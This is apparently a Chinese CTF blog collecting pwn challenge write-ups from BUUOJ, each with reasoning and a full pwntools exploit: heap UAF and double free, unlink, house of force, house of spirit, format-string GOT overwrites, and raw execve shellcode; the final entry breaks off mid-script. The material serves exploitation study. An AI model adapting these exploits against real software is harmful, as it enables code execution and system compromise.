ciscn_2019_es_1
思路:
ida打开,64位程序,菜单堆题,这种堆题目首先看看有没有uaf
果然free函数存在uaf漏洞,没有edit函数,但是add可以实现写入数据的功能
考虑使用double free去篡改已经free掉的堆块的fd指针。哦对了,还得先泄露libc_base。
这里由于对申请堆块的大小没有限制,所以我们可以申请一个0x410大小的堆块,再free掉,这样就可以获得main_arena的地址了,由于有uaf再直接show即可泄露libc_base
leak:
#leak
add(0x410,b'a',b'233')#idx(0)
add(0x40,b'b',b'233')#idx(1)
add(0x40,b'c',b'233')#idx(2)
free(0)
show(0)
然后就是通过double free来实现任意地址改写
double free:
#change fd
free(2)
free(1)
free(2)
free_hook attack:
#free_hook attack
add(0x40,p64(free_hook),b'233')#idx(2)
add(0x40,b'c',b'233')#idx(1)
add(0x40,b'/bin/sh\x00',b'233')#idx(2)
add(0x40,p64(system),b'233')#idx(3)
通过double free来实现任意地址改写,将free_hook改为system,再在对应堆块里面放入/bin/sh\x00。从而getshell
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",27746)
elf = ELF('./pwn')
libc = ELF('libc_18_64.so')
def debug():
gdb.attach(p)
pause()
def add(size, name, call):
p.sendlineafter(b'choice:', '1')
p.sendlineafter(b'Please input the size of compary\'s name\n', str(size))
p.sendafter(b'please input name:\n', name)
p.sendafter(b'please input compary call:\n', call)
def show(index):
p.sendlineafter(b'choice:', '2')
p.sendlineafter(b'Please input the index:\n', str(index))
def free(index):
p.sendlineafter(b'choice:', '3')
p.sendlineafter(b'Please input the index:\n', str(index))
#leak
add(0x410,b'a',b'233')#idx(0)
add(0x40,b'b',b'233')#idx(1)
add(0x40,b'c',b'233')#idx(2)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
system=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]
#change fd
free(2)
free(1)
free(2)
#free_hook attack
add(0x40,p64(free_hook),b'233')#idx(2)
add(0x40,b'c',b'233')#idx(1)
add(0x40,b'/bin/sh\x00',b'233')#idx(2)
add(0x40,p64(system),b'233')#idx(3)
print(hex(libc_base))
free(2)
p.interactive()
追问:
如果限制堆块大小使其不能超过0x80,怎么泄露libc_base?
答:通过将tcache bin的一个bins填满,再free掉的堆块就会到unsorted bin中从而泄露libc_base
如果去掉show功能,保持其他不变怎么泄露libc_base?
答:暂时不知道
如果开启seccomp,禁用system("/bin/sh\x00"),那么该怎么写orw?
答:暂时不知道
axb_2019_heap
思路:
菜单堆题,保护全开
add
可以看到这里一开始只能申请大小大于0x80的堆块。
在看menu函数之前执行什么。
程序首先会调用banner函数,我们可以根据这个来泄露libc_base和程序基地址
#leak
p.sendlineafter(b'Enter your name: ',b'%15$p%11$p')
p.recvuntil(b'Hello, ')
libc_base=int(p.recv(14),16)-libc.sym["__libc_start_main"]-240
print(hex(libc_base))
pro_base=int(p.recv(14),16)-elf.sym["main"]-28
print(hex(pro_base))
delete函数没什么漏洞。这种free没有漏洞的一般都存在堆溢出,我们来看看edit模块。
有个get_input函数,点进去看看。
果然存在offbyone漏洞,那么我们申请的大于0x80的chunk free之后会放入unsorted bin中,那么这里可以通过伪造fake chunk来实现unlink攻击。对于unlink不理解的师傅可以看我暑假第一周周报,我在那篇文章介绍的比较清楚
#unlink attack
add(0,0xf8,b'a'*8)
add(1,0xf8,p64(0))
add(2,0x88,b'a'*8)
note=pro_base+0x202060
edit(0,p64(0)+p64(0xf1)+p64(note-0x18)+p64(note-0x10)+b'b'*0xd0+p64(0xf0)+p8(0x0))
free(1)
不过我在这里卡住了,我在伪造堆块的时候,一开始是用p64(note+0x8)+p64(note+0x10)。
但是报错了,然后我又申请了几个chunk,又用了p64(note+0x10)+p64(note+0x18)或者p64(note+0x18)+p64(note+0x20),当然这些毫无疑问都失败了。
难道是不能用unlink?最后没办法我看了一眼wp,发现是有p64(note-0x18)+p64(note-0x10)来伪造的。
难道非这个不可吗?到底为什么其他的都不可以就这个可以,我百思不得其解,随后打开了steam,玩上一把恐怖游戏之后终于顿悟了。
这个需要看源码。当然在这里我只放
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD;
P为要合并到的堆块,在这里*chunk=P而这里的chunk为idx0所在的地方也就是在note,所以为了绕过if条件判断语句我们在这里只能伪造p64(note-0x18)+p64(note-0x10)。对了为了有些友友们不知道这个FD和BK是什么意思我要再提一嘴,这个P是要合并到的堆块,所以P->fd是我们伪造的fd
P->bk是我们伪造的bk,所以那么FD=note-0x18,BK=note-0x10。由于偏移量的问题
FD->bk=note=P,BK->fd=P。所以要结合要合并到的堆块才可以绕过,所以这也就是为什么其他的伪造不可以
当然如果你想要伪造其他的地方写也可以,换一个chunk伪造fd和bk不就行了。
伪造方式2
add(0,0xf8,b'a'*8)
add(1,0xf8,p64(0))
add(2,0xf8,b'a'*8)
add(3,0xf8,b'a'*8)
note=pro_base+0x202060
edit(1,p64(0)+p64(0xf1)+p64(note-0x8)+p64(note)+b'b'*0xd0+p64(0xf0)+p8(0x0))
free(2)
欧克,既然已经改掉了,那么接下来就是实现任意地址写了。由于我们已经泄露了libc_base,那么接下来直接打free_hook即可。
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./pwn')
#p = remote("node5.buuoj.cn",28802)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def add(index,size,context):
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'Enter the index you want to create (0-10):',str(index))
p.sendlineafter(b'Enter a size:\n',str(size))
p.sendlineafter(b'Enter the content: \n',context)
def free(idx):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'Enter an index:\n',str(idx))
def edit(idx,context):
p.sendlineafter(b'>> ',b'4')
p.sendlineafter(b'Enter an index:\n',str(idx))
p.sendlineafter(b'Enter the content: \n',context)
#leak
p.sendlineafter(b'Enter your name: ',b'%15$p%11$p')
p.recvuntil(b'Hello, ')
libc_base=int(p.recv(14),16)-libc.sym["__libc_start_main"]-240
free_hook=libc.sym["__free_hook"]+libc_base
system=libc.sym["system"]+libc_base
print(hex(libc_base))
pro_base=int(p.recv(14),16)-elf.sym["main"]-28
print(hex(pro_base))
#unlink attack
add(0,0xf8,b'/bin/sh\x00')
add(1,0xf8,p64(0))
add(2,0xf8,b'a'*8)
add(3,0xf8,b'/bin/sh\x00')
note=pro_base+0x202060
edit(1,p64(0)+p64(0xf1)+p64(note-0x8)+p64(note)+b'b'*0xd0+p64(0xf0)+p8(0x0))
free(2)
edit(1,b'a'*8+p64(free_hook)+p64(0x18))
edit(0,p64(system))
free(3)
p.interactive()
#debug()
oneshot_tjctf_2016
思路:
ok,程序逻辑挺简单,漏洞也很明显,这里首先让我们输入一个长整型数据,然后将它进行取值操作,再打印出来,然后再让我们输入一个长整型的数据,并执行 它,很容易可以看出来就是打one_gadget,注意一下输入的格式就好了,题目还是挺简单的。
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",25522)
#gdb.attach(p,'b *0x4006B6 ')
libc=ELF("libc-2.23_16_64.so")
p.sendline(b'6294232')
p.recvuntil(b'Value: ')
puts_got=int(p.recv(18),16)
libc_base=puts_got-libc.sym["puts"]
print(hex(libc_base))
ogg=libc_base+0x45216
print(ogg)
p.sendline(str(ogg))
pause()
p.interactive()
wustctf2020_number_game
思路:
随便一点发现漏洞函数,一开始输入-1呦呵,果然不对,后面那个条件判断会把 -1变成1,那么那个就不通过了,于是乎一气之下输入了-1111111111竟然通了,有点离谱。这里如果我们输入-1的话那么 程序就会是0x7FFFFFFF,-11,-11等等都会是0x7fffff之类的,要搞清楚为什么输入-111111111111111,我们需要查看汇编。
关键汇编在于test eax eax这条指令有什么作用呢?
test eax用于检查eax的值,
一般搭配js ........或者jz.......使用。
test eax eax执行这条语句之后会改变对应的标识位
- 零标志(ZF):由于
eax
不为0,因此零标志(ZF)会被设置为0。 - 符号标志(SF):
0x7FFFFFFF
的最高位(符号位)是0,表示它是一个正数(在补码表示中)。但是,由于eax
的值非常大,接近于32位能表示的最大正整数,实际上它的符号位是1。在二进制中,0x7FFFFFFF
的最高位是1,因此符号标志(SF)会被设置为1。 - 因为用的是js,所以这里是根据SF来判断是否跳转的,如果SF为1则跳转,不为1则不跳转
所以输入-1111111111111后动调得出为0x80000000,才可getshell
Exp:
b'-11111111111111'
starctf_2019_babyshell
思路:
拿到题目先check一下
程序一开始开辟了一段可执行空间,然后往这段空间里面可以填写内容 ,如果我们填写的内容满足sub_400786函数的要求,那么我们就可以执行我们所写的shellcode,看看有什么要求。
看的我云里雾里,md最终还是屈服于wp了。
这段while循环就是检查我们输入的shellcode是否和i相等,如果相等那么退出当前循环,直接执行下一次循环,直到把我们输入的数据都循环结束掉,这个时候如果还是都相等的话,那么就会返回1从而执行shellcode。
但凡用其中有一个不相等也就是在0x400978中没有找到与之匹配的shellcode,那么就会退出。
但是我们看看while(*a1),只要我们然输入的第一个机械码字节为\x00即可绕过检查从而实现shellcode的执行。
最后也是看其他师傅的wp。看到了一个\x00\x5a\x00的机械码,从而达到成功攻击的目的
Exp:
from pwn import *
p=process("./pwn")
#gdb.attach(p,'b *0x4008CB')
shellcode_x64 =b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendlineafter(b'give me shellcode, plz:\n',b'\x00\x5a\x00'+shellcode_x64)
p.interactive()
#pause()
追问:
还有什么汇编的机械码是以\x00开头的呢?
答:暂时不知道
gyctf_2020_some_thing_exceting
思路:
菜单堆题:
检查一下保护
delete函数存在uaf漏洞
但是没有edit的功能。
那但是add函数在申请的同时可以添加数据,那么考虑用double free来实现任意地址改写。
这题其实也可以不用getshell的
在执行menu前,先执行了400896函数,使得flag被读入内存s中。而s又位于0x6020A8
于是我们只需要通过double free把ptr给改掉,改成flag存放的地方再show即可getflag,不过需注意一下,该死的libc2.23在分配malloc的时候有个检查机制,所以要也要合理挑选地方
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./pwn')
#p = remote("node5.buuoj.cn",29198)
elf = ELF('./pwn')
#libc = ELF('libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
def add(size1, content1, size2, content2):
p.sendlineafter(b'> Now please tell me what you want to do :', '1')
p.sendlineafter(b'> ba\'s length : ', str(size1))
p.sendafter(b'> ba : ', content1)
p.sendlineafter(b'> na\'s length : ', str(size2))
p.sendafter(b'> na : ', content2)
def free(index):
p.sendlineafter(b'> Now please tell me what you want to do :', '3')
p.sendlineafter(b'> Banana ID : ', str(index))
def show(index):
p.sendlineafter(b'> Now please tell me what you want to do :', '4')
p.sendlineafter(b'> Banana ID : > SCP project ID : ', str(index))
add(0x50,b'b'*0x1,0x50,b'c'*0x1)
add(0x50,b'b'*0x1,0x50,b'n'*0x1)
free(0)
free(1)
free(0)
add(0x50,p64(0x602098),0x50,b'b'*8)
add(0x50,b'b'*0x1,0x50,b'c'*0x1)
add(0x50,b'b'*0x1,0x30,b'c'*0x1)
show(4)
print(p.recv())
追问:
如果我要getshell怎么办?
答:暂时不知道
zctf2016_note2
思路:
又是一道菜单堆题
可以看到并没有开pie,而且got表也改的。欧克三步走.
1.泄露libc_base
2.任意地址改
3.getshell
当然顺序也可以换着来
这里并没有uaf漏洞,但是edit函数却有点意思。
可以看到这里edit有两个选择,如果选择1的话,那么则会覆盖掉原来的内容,如果选择二则会复制原来的内容,不过漏洞点在sub_4009BD函数里面
可以看到这里是通过a2-1想要来防止堆溢出,那么如果我们让这个a2等于0的话-1就会发生整数溢出,进而导致堆溢出。由于这是libc2.23版本的堆题,所以我们可以打unlink来改控制堆的地址(因为没开pie),进而泄露libc_base,最后再改atoi表为system,这样就可以getshell了。
该题目主要难在这里可以申请0大小的chunk。当然有些堆题目可能也会对这个进行检查。
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./note2')
#p = remote("node5.buuoj.cn",26753)
elf = ELF('./note2')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def init(name, addr):
p.sendlineafter(b'Input your name:\n', name)
p.sendlineafter(b'Input your address:\n', addr)
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'content:(less than 128)\n', str(size))
p.sendlineafter(b'Input the note content:\n', content)
def show(index):
p.sendlineafter(b'option--->>\n', '2')
p.sendlineafter(b'Input the id of the note:\n', str(index))
def edit(index, choice, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'Input the id of the note:\n', str(index))
p.sendlineafter(b'[1.overwrite/2.append]\n', str(choice))
p.sendlineafter(b'TheNewContents:', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'Input the id of the note:\n', str(index))
def getshell():
p.sendlineafter(b'option--->>\n', '/bin/sh\x00')
p.interactive()
init(b'a'*8,b'b'*8)
# unlink
ptr = 0x602120
payload = p64(0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80, payload) #index0
add(0, b'a') #index1
add(0x80, b'c') #index2
free(1)
add(0, p64(0)*2 + p64(0xa0) + p64(0x90)) #index3
free(2)
# leak
edit(0, 1, b'a'*0x18 + p64(elf.got['atoi']))
print(' atoi@got -> ', hex(elf.got['atoi']))
show(0)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi - libc.sym['atoi'] + libc.sym['system']
# atoi -> system
edit(0, 1, p64(system))
#pwn
getshell()
wustctf2020_name_your_dog
思路:
程序存在后门函数
这里没什么漏洞。漏洞主要存在于NameWhich(&Dogs中)
这里对输入的v2没有什么检查,那么我们就可以根据这两个输入去改掉返回地址为shell从而完成攻击。
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",27344)
payload=b'-7'
elf=ELF("./pwn")
shell=elf.sym["shell"]
p.sendlineafter(b"Name for which?\n>",payload)
p.sendlineafter(b"Give your name plz: ",p32(shell))
p.interactive()
wdb_2018_3rd_soEasy
思路:
题目说是so easy我们来看看到底有多easy
一个32位的程序,漏洞都摆在脸上;直接把栈地址告诉我们,然后还可以溢出,那么再看保护。
纯纯送分题。秒了
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 26972)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
p.recvuntil(b'gift->')
buf = int(p.recv(10), 16)
print(' buf -> ', hex(buf))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x4c, b'\x00') + p32(buf)
p.send(payload)
p.interactive()
gyctf_2020_force
思路:
这题目看名字感觉是house of force。打开一看果然。当然如果有朋友不知道house of force的话,我在这里简单介绍一下。详细介绍可以看ctf wiki或者我之前的一篇文章。
这种攻击手法的一大特征就是没有free函数,而且申请的堆块大小要不受限制,还要能控制Topchunk的size域。
这么严格的条件导致这种攻击手法在现在已经不奏效了,在libc2.29下对topchunk新增加了一个检查,所以说高于libc2.29的题已经不能用house of force了。不过有些赛题偶尔还能见到。
这道题目就是一道标准的house of force,这里只有add和puts,那么我们该怎么泄露libc_base呢?
由于这题是保护全开的,那么通过改got表来泄露libc_base也就行不通了。
这里由于在申请堆块的时候会把堆块的地址打印出来,那么我们只需要申请一个比Topsize大的chunk即可获取libc_base。
那么为什么呢?我们可以结合源码来看看,当我们申请一个比Topchunk大的chunk时会发生什么。
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
else if (have_fastchunks (av))
{
\********\
}
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
可以看到如果 size(top_chunk_size) >= nb(user_chunk_size) + MINSIZE((prev_size+size)chunk_head_size) ,那么就会对 topchunk 进行切割,否则,之后会调用 sysmalloc 来拓展堆空间。关于这个sysmalloc之后是如何调用的还有更多的细节,在这里不在一一讲述。这里一个师傅分析的很好,有兴趣的可以去看看
所以我们可以申请一个比Top chunk 大的堆块,打印出来的地址就位于libc中,以此来获取libc_base
#leak libc_base
libcbase = add(0x200000, b'a') + 0x200ff0
print(' libcbase -> ', hex(libcbase))
realloc = libcbase + libc.sym['realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
那么libc已经泄露了,堆地址也可以打印出来,那么我们top_addr也可以得到,接下来就是house of force了。首先由于这里的输入是固定为0x50的,那么我们再生申请一个0x18大小的堆块即可实现堆溢出,从而改掉Top chunk size和泄露top_addr。
那么为什么要泄露top_addr呢?这里主要是由于我们的top chunk_addr会根据我们分配的内存去抬高或者减低自己的空间,从而改变top chun_addr。比如我们申请一个0x18大小的chunk,那么top chunk_addr就会增加0x20,然后由于这里的size已经被改成了0xfffffffffff,所以我们可以通过计算target addr与top chunk_addr的距离,从而实现任意地址写。
由于这里是保护全开的,所以我们直接写malloc_hook。
但是悲催的是这里的one_gadget都失效了,所以我们还得需要用到realloc来修改一下栈帧。
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
p = process('./pwn')
#p = remote('node5.buuoj.cn', 29824)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'2:puts\n', '1')
p.sendlineafter(b'size\n', str(size))
p.recvuntil('addr ')
addr = int(p.recv(14), 16)
print(' addr -> ', hex(addr))
p.sendafter(b'content\n', content)
return addr
def put():
p.sendlineafter(b'2:puts\n', '2')
libcbase = add(0x200000, b'a') + 0x200ff0
print(' libcbase -> ', hex(libcbase))
realloc = libcbase + libc.sym['realloc']
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(hex(realloc))
heap0=add(0x18,b'a'*0x18+p64(0xffffffffffff))
print(hex(heap0))
ogg=libcbase+0xef9f4
top_addr=heap0+0x10
offset = malloc_hook - top_addr - 0x30
add(offset, b'a')
onegadget = libcbase + 0x4525a
print(' onegadget -> ', hex(onegadget))
print(' realloc -> ', hex(realloc))
add(0x30, p64(0) + p64(onegadget) + p64(realloc + 0x10))
# pwn
p.sendlineafter(b'2:puts\n', '1')
p.sendlineafter(b'size\n', str(0x10))
p.interactive()
judgement_mna_2016
思路:
直接格式化字符串漏洞泄露,flag的地址都还在栈上,没什么好说的
Exp:
from pwn import *
#p=process("./pwn")
p=remote("noe5.buuoj.cn",29853)
#gdb.attach(p,'b *0x80487a2')
payload=b'%32$s'
p.recv()
p.sendline(payload)
p.interactive()
print(p.recv())
print(p.recv())
pause()
picoctf_2018_buffer overflow 0
思路:
直接这样就可以出flag了,你问我怎么做到的。我也不太清楚,不过反正和远程有关。然后如果你想打远程来获得flag的话,nc ...........这样是行不通的,题目给了我们密码,还让我们ssh去连接肯定有它的道理。
用xshell打开,然后输入对应的域名和端口,再连接
就可以得到一个这样的界面,但是我们cat flag.txt是不成功的,不过我们直接学本地的不就行了吗?
Exp:
执行./vuln 加上比较多的参数
ciscn_2019_en_3
思路:
菜单堆题
典型的uaf漏洞,而且还是libc-2.27的,稳啦,都稳啦。
与其他堆题不同的是这个堆题他的edit和show功能都没有实现,而且保护全开,改不了got表。
不过通过动调可以发现这个地方可以泄露libc_base
在puts这里,动调可以看到
s和setbuf是紧邻的,那么puts在把s打印出来的时候同时也会把setbuffer打印出来。
#leak libc_base
p.sendlineafter(b"What's your name?",b'tsxcs')
p.sendlineafter(b"Please input your ID.",b'aaaaaaa')
p.recvuntil(b'\n')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["setbuffer"]-0xe7
那么libc都已经泄漏了,后面需要做什么已经很明确了。
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",29126)
elf = ELF('./pwn')
libc = ELF('libc_18_64.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Input your choice:', '1')
p.sendlineafter(b'Please input the size of story: \n', str(size))
p.sendafter(b'please inpute the story: \n', content)
def free(index):
p.sendlineafter(b'Input your choice:', '4')
p.sendlineafter(b'Please input the index:\n', str(index))
p.sendlineafter(b"What's your name?",b'tsxcs')
p.sendlineafter(b"Please input your ID.",b'aaaaaaa')
p.recvuntil(b'\n')
p.recv(8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["setbuffer"]-0xe7
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))
print(hex(libc_base))
add(0x20,b'a')
add(0x20,b'a')
add(0x20,b'a')
free(0)
free(1)
free(0)
add(0x20,p64(free_hook))
add(0x20,b'a')
add(0x20,b'/bin/sh\x00')
add(0x20,p64(system))
free(5)
p.interactive()
debug()
pause()
ciscn_2019_sw_1
思路:
一道格式化字符串题目,check一下
got表可改,那么这题的思路有了,通过一次格式化字符串把print_got改成system再把fini_array改为main,从而getshell。不过为什么我每次用使用fmtstr_payload都会报错,真是莫名其妙。又得手搓了。
这种格式化字符串的题也得patch一下,因为本地和远程的栈布局可能会不一样。
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",25302)
main = 0x08048534
fini_array = 0x804979C
system = 0x080483d0
printf_got = 0x804989c
payload=b'%2052c%16$hn'
payload+=b'%31692c%17$hn'
payload+=b'%356c%18$hn'
payload=payload.ljust(0x30,b'\x00')
payload+=p32(printf_got+2)+p32(printf_got)+p32(fini_array)
#gdb.attach(p,'b *0x080485A8')
p.sendlineafter(b'name?\n',payload)
p.recv()
p.sendlineafter(b'name?\n',b'/bin/sh\x00')
p.interactive()
ciscn_2019_final_2
思路:
看名字貌似是ciscn决赛题目,我们来看看有没有难度。
也是一道菜单堆题。一道不错的堆题,使我的pwndbg旋转。不过好在搞了半天终于搞懂了。让我们一步一步来分析。首先这里add只能add两种大小的size
一个是0x10,一个是0x20。我们再来看看delete函数
可以看到这里并没有把指针清空,只是把标识位清空了。因此这里可能会有uaf漏洞。那么我们试试
add(1, 1)
free(1)
add(2, 2)
add(2, 2)
add(2, 2)
add(2, 2)
free(2)
add(1, 1)
free(2)show(2)
p.recvuntil(b'your short type inode number :')
heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0
if heap_low4 < 0:
heap_low4 += 0x10000
print(' heap_low4 -> ', hex(heap_low4))
确实可以通过add和delete搭配使用来造成uaf攻击,然后还可以泄露堆地址。不过这里由于show是打印堆块对应的数据的,所以这里只能泄露第八位的数据也就是一个int。这里考虑到heap_low4有可能是负数所以加了一个判断。
然后我们可以通过show可以泄露堆的地位地址,再通过add来修改堆空间的size。这一步要记住,我们修改了size可能会对其他地方也造成影响,所以在申请不重要的堆块时,add(2,0)就可以了,分则可能触发glibc的检查机制。
那么把size修改为0x80或者0x90,然后再反复add和free即可填满tcache,从而泄露出libc_base的低八位,那么只能泄露低八位,libc_base的高位不知道怎么打,然后卡在这里了,实在没办法看了一眼wp。
add(2, heap_low4)
add(2, 0)
free(1)
add(2, 0x91)free(1)
for i in range(7):
add(2,2)
free(1)show(1)
p.recvuntil(b'your int type inode number :')
fd_low8 = int(p.recvuntil(b'\n')[:-1], 10)
if fd_low8 < 0:
fd_low8 += 0x100000000
main_arena_low8 = fd_low8 - 96
print(' main_arena_low8 -> ', hex(main_arena_low8))
libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook']
wp的做法确实比较奇妙,后续的攻击手法也是第一次见。我忽视了一个menu之前的init函数
这里是用666文件操作符把flag存起来了,这里然后是改stdin原本的标准输入改成666从而再scanf之后,flag就会被存入v0,从而打印出来。这里为什么只要泄露第八位就可以修改stdin呢?stdin位于_IO_2_1_stdin_中的中间一块区域,关于IO这方面的知识,后面估计会专门再发一篇水文()。
由于_IO_2_1_stdin_的高四位和libc_base的高四位是一样的,所以我们只要把main_arena_fd的低八位修改为_IO_2_1_stdin_的即可对_IO_2_1_stdin_进行读写,高四位都是一样的,所以说只需要修改第四位就可以达到一样的效果。
Exp:
from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'debug'
p=process('./pwn')
libc=ELF("/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#p=remote("node5.buuoj.cn",25957)
elf=ELF('./pwn')
def debug():
gdb.attach(p)
pause()
def add(choice,size):
p.sendlineafter(b'and?\n>',b'1')
p.sendlineafter(b'short int\n>',str(choice))
p.sendlineafter(b'inode number:',str(size))
def free(choice):
p.sendlineafter(b'and?\n>',b'2')
p.sendlineafter(b'short int\n>',str(choice))
def show(choice):
p.sendlineafter(b'and?\n>',b'3')
p.sendlineafter(b'short int\n>',str(choice))
def get_flag():
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'what do you want to say at last? \n', b'a')
print(p.recv())
# leak heap_low4
add(1, 1)
free(1)
add(2, 2)
add(2, 2)
add(2, 2)
add(2, 2)
free(2)
add(1, 1)
free(2)
show(2)
p.recvuntil(b'your short type inode number :')
heap_low4 = int(p.recvuntil(b'\n')[:-1], 10) - 0xa0
if heap_low4 < 0:
heap_low4 += 0x10000
print(' heap_low4 -> ', hex(heap_low4))
add(2, heap_low4)
add(2, 0)
free(1)
add(2, 0x91)
free(1)
for i in range(7):
add(2,2)
free(1)
show(1)
p.recvuntil(b'your int type inode number :')
fd_low8 = int(p.recvuntil(b'\n')[:-1], 10)
if fd_low8 < 0:
fd_low8 += 0x100000000
main_arena_low8 = fd_low8 - 96
print(' main_arena_low8 -> ', hex(main_arena_low8))
libcbase_low8 = main_arena_low8 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase_low8 -> ', hex(libcbase_low8))
stdin_filno_low8 = libcbase_low8 + libc.sym['_IO_2_1_stdin_'] + 0x70
print(' stdin_filno_low8 -> ', hex(stdin_filno_low8))
# stdin 1 -> 666
add(2, stdin_filno_low8 & 0xFFFF)
add(1,0)
add(1, 666)
debug()
# get_flag
get_flag()
lctf2016_pwn200
思路:
这道题可以用来学习house of Spirit,
可以看到我们可以通过read来控制ptr,从而控制free的指针,满足条件一。
再看看保护
什么保护都没开,可以编写shellcode。
再继续跟进,有个小菜单
一个check in对应malloc的功能
还有一个check out对应free的功能
关于house of spirit的详细利用可以去我暑假第一周周报去看,那里会介绍的比较详细。
让后这个可以用来泄露栈地址
那么现在思路就很明确了,我们先在栈上写shellcode再通过house of spirit把ret_addr改成我们写入shellcode的栈地址就行了,这里栈地址可能会有点难找,不过思路就是这样。
这是一道堆栈结合的题,其实house of spirit本身没什么难的,难就难在栈会随着push以及mov。pop等汇编指令发生变化,因此如果精准的找到伪造堆块的地方,以及如何劫持ret_addr就需要比较强的动调能力,后面还利用了leave ret这种gadget才getshell的
Exp:
from pwn import *
p = process("./pwn")
shellcode=asm(shellcraft.amd64.linux.sh(),arch='amd64')
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
def debug():
gdb.attach(p)
pause()
p.sendafter(b'who are u?\n',shellcode.rjust(0x30,b'A'))
p.recv(0x30)
rbp_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(rbp_addr))
shellcode_addr=rbp_addr-0x50
fake_addr=rbp_addr-0x90
fake_chunk=p64(0)*5+p64(0x41)
fake_chunk=fake_chunk.ljust(0x38,b'\x00')
fake_chunk+=p64(fake_addr)
p.sendlineafter(b'give me your id ~~?\n',b'65')
#p.interactive()
#gdb.attach(p,'b *0x400A49')
p.sendafter(b"give me money~\n",fake_chunk)
p.sendlineafter(b'your choice : ',b'2')
gdb.attach(p)
p.sendlineafter(b'your choice : ',b'1')
p.sendlineafter(b'long?',b'48')
payload=(b'a'*0x18+p64(shellcode_addr)).ljust(48,b'\x00')
p.sendafter(b"48\n",payload)
p.sendlineafter(b'your choice : ',b'3')
p.interactive()
pause()
suctf_2018_stack
思路:
一道ret2text,第四页了还有这种题,没啥好说的
Exp:
from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",28860)
payload=b'a'*0x28+p64(0x40067A)
p.send(payload)
pause()
p.interactive()
bjdctf_2020_YDSneedGrirlfriend
思路:
nss上面有一道类似的。
可以看到有uaf漏洞
但是由于add会自动申请一个0x10大小的堆块,会导致我们传统打法难以实现。
那么我们来看看这个伴随堆块是做什么的。
可以看到伴随堆块存着打印的功能,那么我们通过free再申请把它改成backdoor就可以了,很简单的一道题
Exp:
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./pwn')
p = remote("node5.buuoj.cn",26020)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice :', '1')
